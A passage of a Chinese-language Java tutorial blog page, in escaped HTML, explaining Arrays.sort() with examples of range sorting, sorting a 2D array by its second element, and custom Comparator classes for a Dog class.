}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a={\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e,\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e8\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(a,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(Arrays.toString(a));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 2]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 3]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[3, 7]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[4, 5]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"(2)按第二维元素比较二维数组\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#%EF%BC%882%EF%BC%89%E6%8C%89%E7%AC%AC%E4%BA%8C%E7%BB%B4%E5%85%83%E7%B4%A0%E6%AF%94%E8%BE%83%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"(2)按第二维元素比较二维数组\"\u003e\u003c/a\u003e(2)按第二维元素比较二维数组\u003c/h4\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[][] nums=\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eint\u003c/span\u003e[][]{{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e},{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e},{\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e},{\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e7\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//方法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(nums,\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e[]\u0026gt;(){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a,\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] b)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]==b[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e1\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//方法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/*Arrays.sort(nums,(a,b)-\u0026gt;a[1]-b[1]);*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] num : nums) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(Arrays.toString(num));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 2]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 3]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[4, 5]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[3, 7]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其实这个方法最重要的还是\u003cstrong\u003e类对象的比较\u003c/strong\u003e。由于我们可以自定义比较器,所以我们可以使用策略模式,使得在运行时选择不同的算法。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e size;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"title function_\"\u003eDog\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e s, \u003cspan class=\"type\"\u003eint\u003c/span\u003e w)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e size = s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e weight = w;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDogSizeComparator\u003c/span\u003e \u003cspan class=\"keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;Dog\u0026gt;{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(Dog o1, Dog o2)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e o1.size - o2.size;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDogWeightComparator\u003c/span\u003e \u003cspan class=\"keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;Dog\u0026gt;{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(Dog o1, Dog o2)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e o1.weight - o2.weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed1\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e50\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed2\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e30\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed3\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e40\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Dog[] dogArray = {d1, d2, d3};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(dogArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(dogArray, \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDogSizeComparator\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(dogArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(dogArray, \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDogWeightComparator\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(dogArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprintDogs\u003c/span\u003e\u003cspan class=\"params\"\u003e(Dog[] dogs)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(Dog d: dogs)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.print(\u003cspan class=\"string\"\u003e\u0026#34;size=\u0026#34;\u003c/span\u003e+d.size + \u003cspan class=\"string\"\u003e\u0026#34; weight=\u0026#34;\u003c/span\u003e + d.weight + \u003cspan class=\"string\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=2 weight=50 size=1 weight=30 size=3 weight=40 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=1 weight=30 size=2 weight=50 size=3 weight=40 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=1 weight=30 size=3 weight=40 size=2 weight=50 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那么在参数中会出现super呢?这意味着这类型\u003cstrong\u003e可以是T或者它的父类型\u003c/strong\u003e。这就使得该方法可以允许所有子类使用相同的比较器。详细见代码:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan 